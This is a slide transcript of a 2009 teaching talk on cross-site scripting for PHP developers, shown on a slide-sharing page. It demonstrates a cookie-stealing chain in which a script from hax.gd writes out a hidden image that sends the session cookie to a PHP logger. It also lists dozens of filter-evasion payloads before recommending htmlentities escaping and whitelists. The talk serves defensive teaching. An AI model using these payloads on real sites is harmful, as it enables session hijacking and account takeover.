Upgrade to Pro — share decks privately, control downloads, hide ads and more …

XSS: An Introduction and Demonstration (2009)

E34acb847338523dc088f03f0eedd1eb?s=47 Rob Howard
September 02, 2009
Technology
2
160

XSS: An Introduction and Demonstration (2009)

The first in a short series of presentations given at a PHP development shop.

E34acb847338523dc088f03f0eedd1eb?s=128

Rob Howard

September 02, 2009
Tweet

More Decks by Rob Howard

See All by Rob Howard
E34acb847338523dc088f03f0eedd1eb?s=48 damncabbage
0
24
E34acb847338523dc088f03f0eedd1eb?s=48 damncabbage
0
45
E34acb847338523dc088f03f0eedd1eb?s=48 damncabbage
0
75
E34acb847338523dc088f03f0eedd1eb?s=48 damncabbage
1
60
E34acb847338523dc088f03f0eedd1eb?s=48 damncabbage
6
2.2k
E34acb847338523dc088f03f0eedd1eb?s=48 damncabbage
0
170
E34acb847338523dc088f03f0eedd1eb?s=48 damncabbage
1
84
E34acb847338523dc088f03f0eedd1eb?s=48 damncabbage
0
61
E34acb847338523dc088f03f0eedd1eb?s=48 damncabbage
1
110

Other Decks in Technology

See All in Technology
0deae06ab5d86b39feeec2e23a30b88a?s=48 yoku0825
PRO
3
210
A7944f54379373479a430eb9e9954587?s=48 will03
0
110
4b2f3a64637b51e81813accbe8a98083?s=48 miura55
0
470
842515eaf8fbb2dfcc75197e7797dc15?s=48 sat
40
29k
3f848c0c0b9a6603894e157da93e4655?s=48 sadayoshitada0919
0
390
A645e7c3a6635ead8fa323c583769591?s=48 hololab
0
220
B1dca90d4b3ffd2ccd918774e1ba170d?s=48 hmatsu47
5
740
2c68dc672293cc3f8a7a57d3af86f15b?s=48 koukyo1994
3
550
Cd823abda454a7a2065fe6fe273ae84b?s=48 viva_tweet_x
1
450
19fc8f6113c5c3d86e6176362ff29479?s=48 kanaugust
PRO
0
160
0e8fbeb3dc2da3e502483edea80be7d6?s=48 htomine
0
180
40301c0affdf359eaca771713e22b71a?s=48 harshbothra
0
150

Featured

See All Featured
C9b18d9dff88a9dd2393364c2b3b21bd?s=48 colly
188
14k
61857dafbd287b3027c4dcea9008ad3c?s=48 carmenhchung
31
1.5k
C0390e8b11079f8761c0cd3274ed61cb?s=48 productmarketing
6
720
A9179349dd2bdc67f377719f56d85656?s=48 garrettdimon
288
110k
5ce91fa49a613cbc3e20d5f96856473f?s=48 edds
56
9.4k
1177e050db6bafe62885362edf6e3537?s=48 lauravandoore
437
28k
D47656e20ff5e42f125fc5ea0fd636c6?s=48 tmm1
61
9.4k
1b75d89772b7eea1f6c89fbf362607d9?s=48 moore
125
21k
9cde37f47e4a800ea081ea42de8d749a?s=48 dougneiner
118
7.9k
C4de88ea47538e4594750e3861a341c8?s=48 brettharned
93
3k
7fa6101cd43067653cf4ac6c7ca54305?s=48 akmur
252
19k
1519587b1a0febb658c36c94f6272b0d?s=48 roundedbygravity
84
7.9k

Transcript

  1. XSS An Introduction and Attack Demonstration

  2. XSS: An Introduction  “Cross-Site Scripting”  Using client-side code

    to send sensitive information off to far-away places.  eg. Javascript

  3. XSS: An Introduction <td>Bobby Tables</td>

  4. XSS: An Introduction <td><script src=http://hax.gd/x.js> <script>Mallory</td> Oh shit.

  5. XSS: An Introduction  That http://hax.gd/x.js script could be: alert('HA

    HA.'); alert('Survive make your time.');

  6. XSS: An Introduction  That http://hax.gd/x.js script could be: document.write(document.cookie);

  7. XSS: An Introduction  That http://hax.gd/x.js script could be: document.write(

    '<img src="http://hax.gd/x.php?'+ escape(document.cookie)+'" style="display:none;" />'); <td><img src="http://hax.gd/x.php?award_visited=1;...; __csuid=489058e83ee2e832;_PHPSESSID=t57tm1fvvdhonprigkdon71677" style="display:none;" />Mallory</td>

  8. XSS: An Introduction  Let's have a look at http://hax.gd/x.php:

    <?php $fh=fopen('xss.log','a'); fwrite($fh,$_SERVER['HTTP_REFERER']. var_export($_GET,1)); fclose($fh); http://example/cms/objects.php? _obj_name=example_data&_subnav=123 array('award_visited=1;__csuid=blah; _PHPSESSID=t57tm1fvvdhonprigkdon7167 7' => '',)

  9. XSS: An Introduction  So what? http://example/cms/objects.php? _obj_name=example_data&_subnav=123 array('award_visited=1;__csuid=blah; _PHPSESSID=

    t57tm1fvvdhonprigkdon71677 ' => '',)

  10. XSS: An Introduction  So what? http://example/cms/objects.php? _obj_name=example_data&_subnav=123 array('award_visited=1;__csuid=blah; _PHPSESSID=

    t57tm1fvvdhonprigkdon71677 ' => '',)

  11. XSS: An Introduction  Steal the cookie.  Get the

    URL to the admin screen.  Log in at will, exposing the very soft underbelly.  Time for a demo.
  12. None

  13. Filtering and Escaping  Sometimes are conflated, with side-effects being

    things like backslashes or entity tags found in stored data.  This is all very well and good, but what happens if you want to put this into an email message or save out to a text document?  “Strip out all tags!” can result in mangled content:  eg. <3, <( ^o^)>, 1 < x < 5, “if foo <> bar then”

  14. Filtering and Escaping  Validation & Filtering: Checking for and

    getting rid of the nasties.  Checking data is of the correct type, eg. email addresses, postcodes, message text.  Stripping out control characters, fixing multibyte encoding shenanigans with iconv().  Escaping: Packaging data up for transport.  mysql_real_escape_string() for MySQL strings.  htmlentities($x, ENT_QUOTES, 'UTF-8'); for HTML.  urlencode() for query params.

  15. Filtering and Escaping  Why don't we just kill any

    <script> tags we find? <IMG SRC=javascript:alert('a')> <img src=javascript:alert(&quot;a&quot;)> <img “””><script>alert('a')</script>”> <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114; &#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114; &#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72 &#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72 &#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> <IMG SRC="jav ascript:alert('a');"> <IMG SRC="jav&#x09;as&#x09cript:alert('XSS');"> <IMG SRC="jav&#x0A;ascript:alert('XSS');"> <SCR\0IPT>alert('a')</SCR\0IPT> <SCRIPT/a SRC="http://foo/x.js"></SCRIPT> <img onmouseover!#$%&=alert('a')> <<SCRIPT>alert("a");//<</SCRIPT> <SC<SCRIPT>RIPT>alert('a');</SC</SCRIPT>RIPT> <SC\0RIPT SRC=http://foo/x.js?<B> <script src=//foo/x.js> <img src=”javascript:alert('a')” <IMG SRC = " j a v a s c r i p t : a l e r t ( ' a ' ) " >

  16. Filtering and Escaping  Why don't we just kill any

    <script> tags we find? <iframe src=http://foo/x.html < <body background=”javascript:alert('a')”> <BODY ONLOAD=alert('a')> <img dynsrc=”javascript:alert('a')”> <img lowsrc=”javascript:alert('a')”> <BGSOUND SRC=javascript:alert('a')> <BR SIZE=”&{alert('a')}”> <LAYER SRC=”http://foo/x.html”></LAYER> <link rel=”stylesheet” href=”javascript:alert('a');”> <XSS STYLE="behavior: url(xss.htc);"> <STYLE>BODY{-moz-binding:url("http://foo/x.xml#xss")}</STYLE> <IMG SRC='vbscript:msgbox(“a”)'> <img src=”livescript:alert('a')”> žscriptualert(EXSSE)ž/scriptu (US-ASCII encoding evasion) <META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert('a');”> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64, PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> <TABLE BACKGROUND="javascript:alert('XSS')">

  17. Filtering and Escaping  Why don't we just kill any

    <script> tags we find? <DIV STYLE="background-image: url(javascript:alert('a'))"> <DIV STYLE="background-image:\0075\0072\006C\0028'\006a \0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061 \006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> <DIV STYLE="background-image: url(&#1;javascript:alert('a'))"> <DIV STYLE="width: expression(alert('a'));"> <STYLE>@im\port'\ja\vasc\ript:alert("a")';</STYLE> <IMG STYLE="xss:expr/*XSS*/ession(alert('a'))"> exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("a"))'> <STYLE TYPE="text/javascript">alert('a');</STYLE> <STYLE>.x{background-image:url("javascript:alert('a')");}</STYLE><A CLASS=X></A> <BASE HREF="javascript:alert('a');//"> <OBJECT TYPE="text/x-scriptlet" DATA="http://foo/x.html"></OBJECT> <EMBED SRC="http://foo/xss.swf" AllowScriptAccess="always"></EMBED> <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzd....jwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

  18. Filtering and Escaping  Yeah, no.  The transport is

    HTML; package it appropriately.  Using htmlentities($xsslol, ENT_QUOTES, 'UTF-8') will completely neuter most of this stuff.  Use it even on the things you “trust” like $_SERVER['PHP_SELF'], or REQUEST_URI.  It gets hard when you need to put user data into src=”” and style=”” fields; suggest using a whitelist instead, no matter how much of a pain it is to implement. (Or in the case of images and other files, generating the filename for them.)